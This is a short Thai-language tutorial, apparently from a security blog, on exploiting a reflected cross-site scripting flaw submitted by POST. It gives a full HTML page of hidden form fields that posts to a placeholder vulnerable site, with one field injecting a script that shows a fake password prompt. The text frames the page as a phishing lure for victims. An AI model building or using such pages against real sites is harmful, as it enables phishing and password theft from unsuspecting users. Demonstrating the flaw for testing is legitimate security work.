How to demonstrate Reflected Cross-Site Scripting (Post method)

บทนำ (Overview)

จากบทความที่แล้วกล่าวถึงการ “phishing” ด้วยช่องโหว่ที่ใช้ “Get method” (How to demonstrate Reflected Cross-Site Scripting) ในบทความนี้จะโจมตีเมื่อเจอช่องโหว่แบบ “Post” method ซึ่งการโจมไม่แตกต่างกัน เพียงแต่ “code” ของหน้า “phishing” อาจจะเปลี่ยนแปลงนิดหน่อย

ขั้นตอน (Steps)

เมื่อค้นพบช่องโหว่ “XSS” ที่เป็น “POST method” ให้สร้างหน้า “HTML” สำหรับส่งค่า “Form” นั้น แทนการใช้ URLs

<html>
<head>
</head>
<body>
<form id="create_form" method="post" action="https://web-vulnerability.com">
     <input type="hidden" name="mname" value="tes">
     <input type="hidden" name="lname" value="test">
     <input type="hidden" name="dob_month" value="2">
     <input type="hidden" name="dob_day" value="23">
     <input type="hidden" name="dob_year" value="<script>prompt('Please Enter Password', 'Password');</script>">
     <input type="hidden" name="tel_area" value="321">
     <input type="hidden" name="tel_nbr" value="321">

     Please Click !!!
     <input type="submit">
</form>
</body>

เราสามารถสร้าง “HIDDEN field” ตาม <Form> เดิมที่มีช่องโหว่เพียงแต่ใน “value” นั้นจะเขียนโจมตีอย่างไรก็ได้ สามารดูตัวอย่าง “code” การโจมตีได้จาก (How to demonstrate Reflected Cross-Site Scripting)
ทดสอบคลิกปุ่มเมื่อเหยื่อโดน “phishing”

Articles

How to demonstrate Reflected Cross-Site Scripting (Post method)

ใส่ความเห็น ยกเลิกการตอบ